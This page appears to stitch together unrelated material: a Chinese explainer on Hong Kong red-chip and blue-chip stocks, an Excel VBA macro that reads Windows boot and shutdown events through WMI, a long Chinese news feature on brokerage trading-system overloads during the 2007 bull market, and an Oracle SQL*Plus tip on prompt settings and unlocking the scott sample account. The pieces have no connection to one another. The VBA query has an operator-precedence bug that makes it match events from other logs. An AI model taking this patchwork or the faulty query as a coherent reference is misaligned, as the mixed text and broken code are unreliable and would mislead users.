香港股市有所谓“红筹股”、“蓝筹股”之分。红筹股是指最大控股权直接或间接隶属于中国内地有关部门或企业,并在香港联合交易所上市的公司所发行的股份。即在港上市的中资企业。由于人们形容中国是红色中国,而她的国旗又是五星红旗,因此把中国相联系的上市公司发行的股票称为红筹股。这是一种形象的叫法。同时这种划分也是由蓝筹股概念的典故而来。由于美国人打牌下赌注,蓝色筹码为最高,红色筹码为中等,白色筹码为最低,后来人们就把股票市场上最有实力、最活跃的股票称为蓝筹股。蓝筹股几乎成了绩优股的代名词。有些发展前景不错的红筹股,由于被选进了恒生指数的成份股中,因而也兼备凤的身份。随着内地陆续赴港上市,现也有人将红筹股做了更严谨的定义,即必须是母公司在港注册,接受香港法律约束的中资企业才称为红筹股,而公司在内地注册,只是借用香港资本市场筹资的企业,另称为“H股”。但一般仍以红筹股广泛地作为在港上市的中资企业的代名。
' // イベントコード 6005, 6006 を取得します
Sub SampleProc()
Const wbemFlagReturnImmediately As Long = &H10
Const wbemFlagForwardOnly As Long = &H20
Dim Service As Object
Dim EventList As Object
Dim Obj As Object
Dim sComputer As String
Dim lFlags As Long
Dim Sql As String
Dim i As Long
' On Error Resume Next
sComputer = "."
lFlags = wbemFlagReturnImmediately Or wbemFlagForwardOnly
Sql = ""
Sql = Sql & "SELECT *"
Sql = Sql & " FROM Win32_NTLogEvent"
Sql = Sql & " WHERE Logfile = 'System'" _
& " AND EventCode = 6005 OR EventCode = 6006"
Set Service = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Security)}!\\" _
& sComputer & "\root\cimv2")
Set EventList = Service.ExecQuery(Sql, iFlags:=lFlags)
' 出力
Cells.Clear
Range("A1:D1").Value = Array("Code", "DateTime", "Computer", "Message")
i = 2
For Each Obj In EventList
Cells(i, "A").Value = Obj.EventCode
Cells(i, "B").Value = Obj.TimeGenerated ' yyyymmddhhmmss.0000・・・形式です
Cells(i, "C").Value = Obj.ComputerName
Cells(i, "D").Value = Replace$(Obj.Message, vbCrLf, "")
i = i + 1
Next
Columns("A:D").AutoFit
Set EventList = Nothing
Set Service = Nothing
End Sub
[摘要] 2007年,中国股市以逼空式的上涨不断改写着各项新的纪录,股指、成交量、开户数屡创新高。随着股市继续走牛,券商日进斗金的同时,证券公司IT系统的矛盾也日趋激烈:电话打不进、网上下不了单、银证转账百万巨款“不翼而飞”……牛市的大行情就像洪水一般,不断向券商的交易系统发起挑战。证券机构的信息安全问题再次成为投资者关注的焦点。
“我现在每天心脏跳动的频率都是跟着交易所的成交量在走。”一边看着电脑上不断上蹿的上证综指,周总一边苦笑着对记者说。周总是某创新类券商信息技术部的负责人,他告诉记者,今年以来,伴随着股市屡创天量,他们公司的交易系统也不断“报警”,客户投诉和系统堵单让他近几个月都没睡过一个安稳觉。
记者了解到,随着股市走牛,券商日进斗金的同时,证券公司IT系统的矛盾也日趋激烈:电话打不进、网上下不了单、银证转账百万巨款“不翼而飞”……牛市的大行情就像洪水一般,不断向券商的交易系统发起挑战。
系统预警不断出现
周总告诉记者,就像很多证券公司IT部的负责人一样,他现在每天都是如坐针毡。“唇亡齿寒,看到别的公司不断爆出连续堵单的情况,我们心里也发毛啊,因为说不定哪天这种情况也就发生到我们的头上。”周总介绍,他们公司虽然还没出现大面积的“堵单”或者“下不了单”情况,但是主机容量却也屡屡报警,不断挑战系统的风险临界点。
据悉,大部分证券公司都设置了一个容量监测和预警机制,当公司的成交量处于系统容量的0%—40%,业内称之为绿色监测区,属于正常监测并报告;当公司的成交量处于系统容量的40%—70%,业内称之为黄色预警区,表示要启动扩容评估与实施;当公司的成交量处于系统容量的70%以上,业内称之为红色风险区,意味着必须立即实施扩容。
某创新类券商董事长日前在上海参加一个会议时透露,他们公司有一天的成交量甚至突破了系统容量的90%,恐怖程度可想而知。该董事长指出,如果这个阶段推出股指期货或者市场出现“天量中的天量”,整个系统就面临崩溃的局面。“想想都不寒而栗。”
而据另外一位公司总裁讲,他们公司前几天杭州营业部出现了一个情况,一个客户银证转账了100万,但是因为银证衔接出现了问题,这100万竟然转到了另外一名客户的账户上。“最后动用了当地公安才把这个钱打回来。”
事实上,2006年以来,随着股市走牛,证券公司信息系统管理混乱,信息系统事故及违法违规案件时有发生,很多事情已经影响到证券公司的运作安全和资本市场的稳定。据了解,2006年1月7日上午9时30分,某公司集中交易系统的数据库系统发生故障,导致该公司全国40家营业部的交易全部中断,至11时左右才恢复正常交易;2006年3月29日、30日,某公司证券营业部先后发生11名客户的证券账户被盗买盗卖的情况;2006年4月12日,某公司银证通系统出现客户买卖委托重单现象,造成透支客户36户,涉及透支金额人民币57万余元;2006年6月5日,全流通后第一只股票中工国际新股申购首日,某公司部分席位出现了该股票异常申购的行为,影响了此次新股发行;2006年12月5日,某创新类证券公司对其集合理财产品实施大比例分红,但最后却出现系统强行对客户进行再融资;2007年1月6日,某公司全国的委托系统出现临时瘫痪,持续时间1小时左右。
三年规划半年透支
最近一段时间,随着股市屡创天量,一些创新类证券公司,特别是老牌证券公司相继出现大面积堵单,个别证券公司甚至出现短时间的系统瘫痪,电话打不进,委托交易无法进行,银证转账“掉链子”等一大堆的问题。
归纳起来主要有以下几个方面:从券商内部来说,委托电话打不进去,老是忙音;行情显示不及时,委托下单无法确认;营业部现场办公电脑死机等;从银证衔接来看,由于券商交割清收无法按时完成,银行无法进行数据核对,银证转账就出现委托成功但银行账户却是空白;从与交易所和中登公司的合作来看,中登公司出现技术平台堵塞,开户回报慢等。
据多位证券公司负责人讲,他们公司负责资金交割清收的工作人员现在每天晚上都是工作到凌晨三、四点钟,很多时候甚至到凌晨六、七点钟。而另外一家老牌证券公司的董事长讲,在1月15日—16日出现局部拥堵、网上交易出现问题之后,他们专门成立一个“网上交易紧急领导小组”,由公司的总裁亲自挂帅担任组长,召集公司办公室、经纪业务、电脑部、财务部每天开现场办公会议,处理紧急和突发事件。
出现以上问题的原因,主要是以下几个方面:一是证券公司对IT系统的投入不足。很多证券公司在前几年熊市的背景下,都是零投入或者压缩投入。于是很多营业部的电脑甚至还有686、586的型号。一位IT部负责人形象地说,证券公司对IT的投入是“说的都很好、计划少一半,做的时候没有了。”一公司董事长也坦率地说,大部分证券公司都不懂IT,所以在做起预算方案时确实存在打折扣的问题。而且他还指出,即使预算做了,但真正落实的时候一般也还要大打折扣;第二,证券公司的赢利要求迫使很多公司心有余而力不足。一券商总裁表示,证券公司对于IT的投入不可能像交易所那样舍得投入,建成世界一流,行业领先。证券公司作为一个商业机构,赢利是首要条件。“公司不可能没有给股东回报而去要求拿钱出来投入。”据记者了解,这个问题集中体现在中小型的证券公司身上;第三,行业缺乏指导规则。比如客户量达到多少,证券公司的系统容量要达到多少标准,行业缺乏一个指导思想;此外IT系统的收费乱七八糟,缺乏一个收费标准;第四,规划跟不上变化。一公司总裁说,去年股市刚刚走牛的时候,他们进行了一次系统的大扩容。“当时电脑部经理信誓旦旦地说,‘这下我们管上三年了’,可事实是半年不到,系统就开始透支了。”据这位总裁讲,他们公司现在半天多一点的佣金收入相当于前几年一个月的收入,佣金收入剧增的背后就是客户交易量的猛升。
银证矛盾再成焦点
除了上述原因之外,还有一个矛盾的焦点银证衔接的问题。很多证券公司IT部负责人在接受记者采访时是大倒苦水,投资者不管青红皂白,只要是交易当中出现问题,便把所有的责任归咎于证券公司,很多证券公司负责人也是如此,只要接到客户投诉,首先想到就是电脑部没有做好,电脑部应该承担这个责任。
据他们讲,投资者的证券交易涉及的主体是多方面的,首先是证券公司的前台,这包括电话委托系统和网上交易的系统软件,然后是证券公司服务器的指令接收,然后是与交易所数据库的对接,然后是交易所的报盘、然后是中登公司的撮合,然后再循环回去。“这里面任何一个环节出现问题,投资者的证券交易都将受到影响。”一券商信息技术部总经理对记者说,“目前交易所和中登公司的问题相对较少,矛盾的焦点主要集中在银证衔接上面。”
他告诉记者,由于各证券公司取消现金柜台之后,投资者证券交易的所有环节都要与银行打交道。特别是在第三方存管模式下,银行要参与到证券交易资金的交割清收,这等于在证券公司原本完善的资金交收系统里面,增加了一个新的参与主体,但同时银行又不承担交割清收的责任,因此一旦出现问题,银行、投资者、监管层都将责任归咎到证券公司的头上。“责任与义务明显不匹配。”
同时他还指出,在股市屡创天量,开户数急剧增加的同时,证券公司的交割清收的工作量也是大幅增加,很多证券公司的财务人员每天都是忙到晚上三、四点钟。这样,问题就出现了,证券公司可以要求自己的员工加班加点,但是银行却不会因为这个推迟下班时间,于是很多银行出现当证券公司延迟了交割时间之后,就拒绝录入相关数据的情况,这样导致的结果就是很多投资者正常下单之后,资金账户上却显示不出来,导致很多投资者以为自己的资金“不翼而飞”。
另一方面,由于银行的对接系统一直与证券系统存在很大的差距。证券公司在大力升级换代的时候,并不能要求银行也跟着升级换代,因为从银行收入构成来看,与证券公司的合作收费只占其中间收入中的很小的一部分,从利润与支出的比例上看,银行没有动力去进行对接系统的升级换代。此外,很多证券公司反映,银行“店大欺客”的现象也非常严重,一旦出现任何问题,银行便将全部责任推到证券公司的头上。
银证合作的矛盾也导致了证券公司大集中和第三方存管工作的推进。很多证券公司负责人26日在上海表示,由于涉及银证衔接等问题,他们已经明确下令停止了大集中和第三方存管的上线工作。
证券行业作为金融行业的重要组成部分。其IT应用属于最早的行业之一。
证券行业的业务系统主要包括:行情发送系统,行情传送系统,行情接收系统,行情客户端系统,交易系统,结算系统,开户系统。
行情发发送系统,传送系统,接受系统主要通过上海,深圳高速单向卫星完成。保证行情的高可靠性,同时还建有通过isdn,ddn专线系统做备份。其主要系统开发商为深圳的卫星通信公司。
行情客户端揭示系统主要是客看行情的主要系统,主要是基于netware的novell的无盘系统,软件平台为DOS其主要开发商为钱龙,胜龙,大智慧,通达信等。
交易系统是证券行业中最复杂,最重要的系统。分客户端交易系统,交易中间件,交易结算系统,报盘系统等。
交易客户端包括:热自助,刷卡,电话,网上交易,手机等。
其系统开发商主要:恒生,金正,顶点,新利,核新,通达信等。
交易中间件主要是把不同的客户端提交的交易数据统一协议提交给结算系统和报盘系统。其主要开发商为恒生,金正,顶点。
交易结算系统是对交易的数据进行清算,保存。其主要开发商也是恒生,金正,顶点。
报盘系统是把交易的数据通过卫星传回上交所和深交所,和成交结果返回。
除了行情系统,咨询系统也是证券行业的重要组成部分,除了巨灵,港澳,百智投,大智慧等还有数不清的大大小的咨询机构。
随着交易佣金的下调,股市行情的大环境的变化,证券行业竞争越来越激烈,导致整行业的不佳,加上外国券商的进入。整个行业寻求新的运作模式。证券电子商务兴起。
各大券商都纷纷建起电子商务网站,其大部分为j2ee或者是.net,
主要的集成商为声润,港澳,巨灵,方正奥德,融会兴业等。
网上交易作为一大重点也迅速发展起来,成为电子商务的生力军,主要券商都建立了自己的网上交易系统。其主要集成商为:
恒生,核心,通达信等。
其中集中交易成为热点,恒生,顶点,金正都在不断的划分自己的地盘。
ERP开始在券商中兴起。而上海普元走在先锋,先后完成广发,华泰等大项目。
证券也正向以提高客户服务程度为口号的大发展中。
当记者在北京亚运村的一座写字楼里,找到网上交易软件提供商核新软件的北京分公司时,第一印象是,它看起来很不起眼。但是核新软件公司目前在全国网上交易系统市场份额大概占到60%。
“我们的运营维护人员几乎是7×24小时都在为证券公司服务,但是我们的服务费并没有增加。”核新软件北京分公司总经理李苏明说,“在证券公司扩容过程中,最大的受益者是硬件厂商,对于我们这样的软件提供商来说,运营维护的工作量增加了很多,但是证券公司并没有为此多付给我们钱。”
硬件厂商尝甜头 系统集成商复苏
据记者了解,目前证券公司在系统扩容上的投入少则几百万元多则几千万元,而其中硬件平台的投入至少要占到60%以上,其中尤以交易终端机器、PC服务器、小型机、存储设备为主要采购方向。
记者在核新软件的办公室看到,有5台HP的服务器堆放着。经询问得知,这是某证券公司购买以后,交由核新软件公司安装应用系统,然后经过测试,运到其河北石家庄的营业部。而西南证券公司技术部门负责人向记者透露,目前已经完成了4批HP瘦客户机采购,数量约1000台左右。
目前来看,像IBM、HP这样的硬件提供商确实已经开始享受证券IT扩容带来的商机,但是诸如核心软件和金证科技这样的交易软件提供商却纷纷表示,“效益还没有显示出来”。
而以杭州恒生电子为代表的系统集成商却开始看到新的商机。记者曾在2002年股市最低迷的时候,走访了数家金融行业的系统集成商。他们用了“难过”、“恶化”、“萎缩”、“死掉”等等词语来描述行业的状况,让人感到刺骨寒冷。然而,在新一轮行情到来的时候,杭州恒生为最先得到利益的系统集成商。数据库厂商、服务器、存储等硬件设备厂商都纷纷找上门来,签署战略合作协议,联手出击正在释放能量的证券市场。
赢得信任 商机无限
从记者了解到的情况来看,证券行业确实为IT行业提供着越来越多的商业机会。一方面,证券公司在大行情考验之后,痛定思痛,开始重新设计和构建大容量、运算处理能力更强,业务类型更加复杂的新一代交易系统平台;另一方面,很多证券公司在完成了集中交易及其他基础性建设工作后,开始积极准备实施客户交易结算资金第三方存管系统;除此之外,证券公司由于市场竞争的压迫,开始着手构建营销和服务平台。
但是,证券公司对于IT厂商抱着既依赖又不信任的态度。一位证券公司的IT部门老总直言不讳地对记者说:“对于IT厂商,我们一概投不信任票。”首先是因为证券IT部门对软件提供商提供的产品并不满意。他们认为,软件提供商为了让它的产品符合市场的需要,必然会删减个性化的需求;其次,随着市场的扩大,服务提供商能够实现的服务承诺越来越少,服务在摊薄。另外,对于系统的后期升级、开发、维护、优化,服务商通常的态度是:“要么加钱,要么就排队等着。”
因此,对于重新设计和构建新的平台系统,证券公司IT部门对IT厂商怀着一种复杂的心态,想自己组建队伍独立开发,但是人员匮乏而且时间也不允许;把系统开发外包,就等于把自己的未来5年甚至10年交到一个公司手里,既不甘也不放心。
一位券商IT老总私下对记者说:“在营业部级的交易系统时代,恒生、金证等公司几乎垄断市场,证券公司往往不得不受制于人。面向下一代系统设计,我们虽然对这些软件提供商在技术上实力和能力上充分相信,但是还是很担心和害怕对软件商的依赖太强。”
如此看来,赢得证券公司的信任,才能真正把握商机。
虽然5月30日股市受国家提高印花税的影响而暴跌,但是多方人士仍未失去对股市重新“发飙”的信心。而就IT而言,股市的震荡显然不可能让证券公司如火如荼的IT系统建设停下脚步,因为频频告急的系统问题已经让证券公司IT部门抓狂,也把证券公司的IT系统建设“逼上梁山”。还因为,证券公司不可能再容忍自己在突如其来的“天量”行情面前措手不及、不堪一击。
当记者如约来到北京复兴门金融街的银河证券IT中心时,一位穿蓝色衬衫的人男士急速小跑赶到我们前面,推开了主任室的门,闪了进去。我这才反应过来,他就是银河证券IT中心主任王恒。
股市行情暴涨,各证券公司的系统频频告急。证券公司技术部门的负责人也开始高速旋转起来。保持系统正常运行、及时排除系统故障、第三方存款系统的招投标、系统的升级和扩容等等事情让他们焦头烂额。
民族证券总工程师马光悌也刚从全国各地的证券营业部巡视回来。“到各地营业部就是处理各种各样的问题,有系统问题、有技术问题、有资源调配问题,反正是能解决的当场解决,不能解决的尽快想办法解决。”民族证券在大行情来临前,已经顺利地切换了系统平台,但是网上交易系统的小问题还是层出不穷。
而那些在大行情到来之前没有做好系统准备的证券公司,正忐忑不安地准备着应对突如其来的灾难。
股市疯了 证券IT急了
现在证券业的一天,等于过去的一年。IT系统的压力也与日俱增,不能出现任何瑕疵。
在鞍山,足有两个篮球场大的交易大厅被挤得水泄不通。两个巨大的交易显示屏下
面,数千个股民的脑袋簇拥在一起看行情,而柜台交易早已排起了数十人的长队,场面实在是非常壮观。马光悌刚刚从宁波、成都、漳州等地巡视回来,在谈到自己最近在证券交易第一线所看到的情形时,既兴奋又紧张。
股市的确是疯了。根据中国证券登记结算公司的统计数据,到5月28日沪深两市账户数已突破1亿大关。而根据中国证监会最新统计数据显示,截至4月30日,股票市场共筹资1124.67亿元,同比增长1927.63%;4月份股票成交金额49122.64亿元,同比增长586.28%; 证券投资基金成交金额725.45亿元,同比增长479.99%。
证券公司把目前的股市称为“天量行情”,在此“天量行情”下,股民在交易现场的反应也变得非常极端。因为交易的人太多,柜台交易不堪重负,股民情绪焦躁,情急之下,各种歪招都使了出来。营业厅的小键盘交易机系统设定只有两分钟交易时间,有的人就在快到时间的时候关机,然后重启;有的把交易机的小键盘的封锁铁条橇掉; 更有甚者,甚至把机器的开关砸掉,只有自己才能开;而有的股民形成同盟,几个人把一台机器围成一圈,不让其他人插入,轮流操作。
证券公司IT系统全面告急。自今年5月1日之后,大多数证券公司的IT系统都“几乎顶不住了”。在北方区域,柜台交易系统的压力更加突出;而南方闹得最厉害的还是网上交易系统,由于委托难,交易矛盾已经变得非常尖锐。由于每个公司都有一套核心的交易系统,支持在线交易和现场交易最终的这两块的压力都会汇聚到后台核心交易系统,所以整体表现是“全面吃紧”。
5月9日,各大证券公司的交易系统已经出现很严重的“堵单”。有的堵单是因为主系统故障,有的是由于各种接口没有做好,有的是银行的代码错误导致问题出现,也有因为存储系统导致堵单,可以说不一而足。马总说:“现在证券公司IT部门就像大夫一样,整天面对和处理各种各样的病情。” 而在不久前的一次证券行业内部的沟通会上透露,100多家证券公司中有15家出现了较长时间的交易故障。
“国泰君安的平台上每天有155万笔交易,250亿元的交易额,增长速度还在不断翻番。”国泰君安CIO俞枫感叹,“现在证券业的一天,等于过去的一年。IT系统的压力也与日俱增,不能出现任何瑕疵”。银河证券CIO王恒也表示,公司IT系统资源利用率基本上达到90%以上,最少的设备利用率也有70%,存储空间亟待扩容。
股民更是怨声载道,网上交易的用户,不但行情浏览常常出现问题,更为可恼的是,委托交易速度极慢,屡屡让股民错失稍纵即逝的“抓钱”机会,这对股民来说不能容忍。为了解决看行情时的慢,各证券公司开始封锁自己的行情,只供自己的客户使用; 而对于委托交易慢,证券公司大多采取的解决办法是增加一个委托站点。
在福建漳州,有个老人家问马光悌: “你是搞技术的人吗?”马光悌说:“是啊。”老人家说:“你把交易做得快一点,我给你们送一盒好茶。” “这不是骂我们吗?”马光悌说。
几乎所有的压力都汇聚到证券公司IT部门,他们成为了“众矢之的”。
亡羊补牢 解危
现在证券公司增加IT投入,其实是在还前几年积累下来的债,但现在证券公司才做系统扩容和系统改造,风险和难度都非常大。
记者在采访中了解到,从2006年6月开始,证
券公司在涉及业务的几乎所有环节都高度紧张。而网上交易、柜台交易、后台处理、通信接入与银行接口等等任何一个环节出现问题,都会引发多米诺骨牌效应。俞枫在接受记者采访时坦率地说: “业务上升对IT系统的压力是全方位的,包括对接入点、通信稳定、主机处理能力和具体业务系统处理能力,都有影响。如同水桶原理一样,每个环节都要加强。”
事实的确如此。目前证券公司非现场交易系统部分占70%~80%的交易量,这个环节出了问题影响巨大。但是如果网上交易系统扩容以后,通信带宽不进行升级扩容,那么通道就必然会成为瓶颈,这个瓶颈可能是证券公司和电信之间的接口,也可能是证券公司节点和总部之间的链接;而如果前端交易系统扩容、通道拓宽,也就相应要求后台处理系统的处理能力、响应速度、容量等提升和扩大。马光悌说:“系统不能有短板,哪里有短板就补哪里。”
而在谈到证券IT系统危机四伏的根本原因时,大家不约而同地指向IT投入不足。金证公司副总裁徐岷波说:“在整个行业低迷的状态下,IT投入被压缩得很厉害,可以说是紧巴巴地过日子,很多证券公司的系统容量、冗余备份都远远不够。”
2001年以后,股市进入长达5年的熊市,在这5年间,证券公司度日如年,证券行业的IT投入几乎陷入停滞。一些证券公司已经招标并准备实施的大集中系统,也因为没有钱而半途而废,像申银万国这样的大证券公司,原计划投资3亿元建设大集中系统,最终投入的费用也是一减再减。
“证券公司亏损严重,根本不可能想着为将来的牛市做投入,IT部门不能在‘开源’上有所作为,而是在‘节流’上做文章,想方设法地节省。因此,证券公司系统疏于维护,机器严重老化,沉疴痼疾也就越来越多。”某知名证券公司的技术部门负责人对记者说,“在当时的情况下,要想在系统维护、升级、优化、改造等方面花钱,简直是异想天开。”
徐岷波认为,现在证券公司增加IT投入,其实是在还前几年积累下来的债。“目前容易出问题的证券公司主要就是前期投入不足者,所以才会临到头来头痛医头脚痛医脚;如果证券公司的系统前期规划和建设比较到位,应对现在的行情就会从容得多。”
而这轮行情之下,一些中小证券公司反倒占了先机。比如招商证券、国信证券,还有一些地方性的证券公司,他们都是做当地接入,委托交易速度非常快,并以此为优势,拉走了很多大证券公司的客户。这使得大证券公司感到压力,因为股民流失,就意味着白花花的银子跑到别人的口袋,是绝对不能容忍的事情。
“我们对于委托交易慢,非常紧张,因为这会造成客户的流失,对于证券公司来说就是损失。所以现在证券公司拼命增加IT投入,想方设法增加站点来留住客户。”马光悌说,“我们都是被行情教训了以后,才意识到这样玩下去肯定是不行的,所以我们现在是大干快上”。
但是现在赶紧投入,问题也来了。一些证券公司技术部门职员认同记者的看法,现在证券公司是在 “亡羊补牢”。虽说“亡羊补牢,未为迟也”,但现在证券公司才做系统扩容和系统改造,风险和难度都非常大。证券行业内人士把现在证券公司IT部门的行为称为,“火车高速进行中换轮子”。
马光悌说: “火车速度慢的时候,没钱或者是想不起来要换轮子;现在有钱了,轮子已经快报废了,怎么办?只能是换!但是现在换,难度就增加了,可能导致翻车,也可能把火车换停了。”
今年3月,某知名证券公司收购其他证券公司,新增多家营业部,在行情大幅波动的情况下,进行大规模系统升级,内容涉及软件优化、更换主机、系统切换、系统调优、营业部上线等各方面工作。但是由于数据库优化中没有使用分区技术,在交易迅速扩大的情况下引起巨大的性能瓶颈,加上优化后的软件未能与新主机磨合好,最终导致交易瘫痪。
图一 2006年证券业重点IT系统投资规模
图二 2007年证券业重点IT系统投资规模
权宜之计 扩容
扩容之前,交易系统好比一个有高血压的人,能吃能喝,但是随时可能倒下;而现在血压基本正常,虽偶然有小病,但是已经没有大碍。
1月8日早上9:15,鞍山民族证券营业部,数千人已经把营业部挤得水泄不通,没有人注意到现场的马光悌额头渗出了汗水。在系统切换那一刻,所有在后台的人都屏住呼吸,空气几乎凝固了,四周一片寂静,马光悌脑子里面不停闪现的是几千人冲进来的混乱场面。
9:25第一笔交易处理正常,然后是10分钟、1小时,直到中午11:30分,系统交易没有出现任何波动,股民根本没有任何感觉。至此,民族证券最后一个营业部上线,标志着全公司系统切提成功。
“其实我们也是被大行情教训了,实在顶不住了,才这样痛下决心。”马光悌介绍说,一开始,民族证券和其他很多证券公司一样,哪里有伤有痛,找一个创口贴先贴上。但是行情暴涨如同洪水汹涌而至,马光悌意识到,再这样修修补补,总有一天会出大事,于是一咬牙,换!在总公司领导支持下,一家一家切换,把软件升级,把以前的PC服务器全部扔掉,换成小型机。“我们当时要是犹豫的话,现在局势就会很严峻。”马光悌暗自庆幸自己当初的果断。
“证券公司系统切换的风险是非常大的,因为硬件平台、软件运行、硬件和软件的兼容测试、运行测试、应用软件的测试等等环节很多,而任何一个细节都可能暗藏风险。”徐岷波说。
民族证券之所以能如此坚定地走出这一步,一方面是因为其营业部规模较小,二是因为马光悌曾在中信证券负责系统建设,有系统切换的经验。马光悌还坚持认为,“服务器微机时代已经过去了,大量的证券公司都将纷纷转移到小型机平台,这个趋势在明年将会很明显。”
民族证券只是证券公司扩容运动中的一个案例。从2006年开始,几乎所有的证券公司都忙于扩容,但是各证券公司的做法却是迥异。徐岷波认为,从扩容方式上看,有两种方法可行: 一种是走高端高配置的路线,完全更换系统,就是将以前的PC服务器平台向小型机迁移;一种是走低端低配置路线,在现在的PC服务器的架构上,进行硬件的扩容和升级,就好比是在以前的细铁丝上再加上几根细铁丝,以此来应对当前的情况。
总体上看,中小型规模的券商大多采用了高端高配置、整体平台切换的路线。比如华泰证券,2006年,华泰证券选择了恒生电子大集中系统,采用了大型数据库Oracle平台,并用小型机代替传统的PC服务器,使系统的处理效率和处理能力得到了很大的提升。同时通过Oracle数据库的RAC技术,以及恒生公司自主研发的中间件平台群组技术,使得集中交易系统的处理能力可平行扩展,很好地满足华泰证券未来的业务发展需求。在此次交易量节节攀升的大行情下,华泰证券大集中系统充分经受住了考验。
大型证券公司在系统平台的升级上显得保守一些,因为拥有上百家营业部的大证券公司,其实施集中交易以后,风险变得更大。这些风险包括系统升级风险、系统技术支持风险、项目实施风险、清算风险、接口非标准化风险等等。“集中交易实际上就是把以前分散在各营业部的经纪业务风险,集成转化成为电脑的、系统的风险。而且这个风险完全系于一个核心交易系统、一个平台、一条主通道,一荣俱荣,一损俱损。”马光悌说,“这就是国内那些大券商步履维艰、踌躇不前的原因。”
在大型券商中,国泰君安勇敢地走出了这一步。早在2005年,国泰君安就已经对系统进行了改造。国泰君安采用了 IBM 的 IA 服务器系统,实施了“集中分布式”的构架。在一年半的时间内,116 家营业部全部平稳上线,成功地实现了对证券 AB 股业务、债券业务、开放式基金业务、银证通业务等多种经纪业务进行集中处理。集中交易系统在实现复杂业务逻辑的同时,实际运行中达到交易超过 1000笔/秒,查询超过 10000笔/秒,实现了经纪业务平台的集中高效管理和数据的快速应用。而最近,国泰君安又对主机进行了升级、增加了带宽,接入点数量也增加了。
马光悌如此形容证券公司扩容后的状态,扩容之前,好比一个高血压的人,能吃能喝,但是随时可能倒下;而现在血压基本正常,虽偶然有小病,但是已经没有大碍。
人们在关注股市风险的同时,却往往忽略了证券IT系统也有可能带来“崩溃”的危险。
未雨绸缪 “双万”指标
我们为什么不在有财力、有能力的情况下做更大胆的设想,按照股市指数一万点、交易量一万亿的指标来重新设计和架构我们的柜台交易系统?
最近马光悌在不同的场合宣扬他的“双万”构想,有的人认为这个设想太疯狂了,有的人认为太超前了,但是马光悌自有一番理论,“煮一碗面还是煮面水多了才好吃,我们做系统设计也应同样如此。”
“双万架构并不疯狂。” 徐岷波说,“现在已经有客户向我们提出了更高的目标,按照1.5万亿的交易量来做系统架构的重新设计。但是6000-8000亿的交易量是大多数券商比较认同的一个区间。”采访中,俞枫对此没有做正面评价,他只是表示,“交易量和系统架构并没有太直接的联系。”
但是也有颇多反对之声,认为现在的股市完全是一种非正常状态,如此大手笔的IT系统投入完全不值得。但是马光悌认为,中国的股市投机性比较强,所以就会出现如此大的瞬间交易量,针对中国股市这种特殊的情况,在重新构建系统的时候,必须要有前瞻性。
一位证券行业资深人士认为,2006年开始的股市大行情,将是证券IT系统建设的一个转折点,证券IT需要完全摈弃原来的营业部级的系统架构模式,而交易系统的开发商更是要在思想上经历一次彻底的革命。“我们和营业部级系统打交道已经至少有10年了,已经形成了思维定势,但是我们在重新设计和构建新的证券IT系统时,必须完全抛弃原来的一套思维模式和做法,颠覆以前的概念,做彻底的创新。”
评论: 证券IT 想想明天会怎样
在采访中,有业内人士向记者透露了一个惊天秘密:有的证券公司为了迎合股民对系统快速处理能力的需求,拉拢客户或者是留住客户,而在系统安全上面做较多的牺牲。比如,证监会要求网上交易时,每一笔单子必须显示IP地址,如果把IP地址屏蔽,是不允许的。但是实际上很多证券公司有意将IP地址屏蔽了;另外,证监会要求网上交易整个过程必须有记录、有监督。但很多证券公司把这个功能也屏蔽掉了;还有的证券公司为了释放系统的运行空间,把一些自认为“无关紧要”的安全防护功能也关掉了。
如此一来,就可能引起两大安全隐患:一是一些违规的“异动交易”不能及时监控到,最终可能造成股市大混乱,比如一些基金经理的违规操作行为、一些“庄家”的异常操盘行为,都会给股民造成较大损失;二是系统受到病毒、黑客攻击的可能性大大增加。该人士直言不讳地说:“大家明明知道这样做存在安全隐患,而且总有一天会爆发,并很可能引起意想不到的严重后果,但是大家还是依然故我。”
今天,我们听到的是安全隐患,明天也许有更为“骇人”的问题暴露出来。这就是很多用户对券商IT系统的态度。实际上,证券IT系统建设曾是中国信息化领域的先锋,但是今天看来,证券IT系统并不那么让人信赖。相反,在突如其来的行情考验下,中国证券IT系统显得如此脆弱、如此不堪一击。
这不得不引起整个证券IT行业的集体反思:是因为我们的证券IT部门缺乏战略规划和眼光,还是因为IT部门在证券公司中“边缘化”,缺乏足够的能量以争取更多的投入和资源?是因为证券IT部门系统架构本身存在缺陷,还是因为在风险监控和管理方面重视不够?
今天尚处于四处救火状态的证券IT部门,也许该想想,面向下一个10年、面向下一轮股市风潮,证券IT如何做好充分的准备,以免重蹈覆辙。
SQL>set time on
20:42:24 SQL>set sqlprompt "_user _privilege> "
20:44:18 SCOTT >
很简单,到此为止就设置成功了。看看命令提示符上,有了时间和当前用户的显示。这个作用虽小,但是在一般在操作数据库的过程里,最好将此项打开,原因,自然为了安全。
让我们再增加一些其它的功能:现在还想显示今天的日期。我们需要做的就是用下面这些命令来使提示符显示想得到的信息。
SQL> set sqlprompt "_user _privilege 'on' _date >"
SYS AS SYSDBA on 06-JAN-04 >
再增加数据库连接标识符怎么样?您想知道您在“什么样”(在生产或开发中)的情况下,这种方法的确非常有帮助。
SQL> set sqlprompt "_user 'on' _date 'at' _connect_identifier >"
ANANDA on 06-JAN-04 at SMILEY >
到目前为止还不错;但我们可能想要以一种更详细的方式来显示当前的日期(带小时和分钟),以更加有用。
ANANDA on 06-JAN-04 at SMILEY > alter session set nls_date_format = 'mm/dd/yyyy hh24:mi:ss';
Session altered.
ANANDA on 01/06/2004 13:03:51 at SMILEY >
问题解决了:输入几行命令就得到了能够提供丰富信息的 SQL 提示符。将它保存在 glogin.sql 文件中,您就始终拥有这些特性。
Oracle登录自动执行文件glogin.sql:每次用户登录时自动执行该文件,可以将一些环境变量(如linesize)的设置命令或者其它命令放入该文件中。
glogin.sql文件路径:
Windows下:d:\oracle\ora10.2\sqlplus\admin\glogin.sql
UNIX: /u01/app/oracle/product/10.2.0/db_1/sqlplus/admin/glogin.sql
最后,推荐几篇关于Oracle10g特性的文章,Oracle Database 10g:为 DBA 提供的最佳的前 20 位特性
事先启动数据库
①用sys连接到数据库:sqlplus / as sysdba
②alter user scott account unlock
③exit
④sqlplus scott/tiger
⑤一般提示需要修改密码,修改完毕即可使用。
⑥show user; USER is "SCOTT" 修改成功!
使用scott用户,是因为一般scott用户下建立了默认的table用来使用学习,很方便。有以下几个方法可以查询scott用户下面的表:
①select table_name,column_name from dba_tab_cols where owner='SCOTT' order by table_name; (系统用户)
②select * from cat; (scott用户)
③select * from user_tables (scott用户)
④select * from tab; (scott用户)
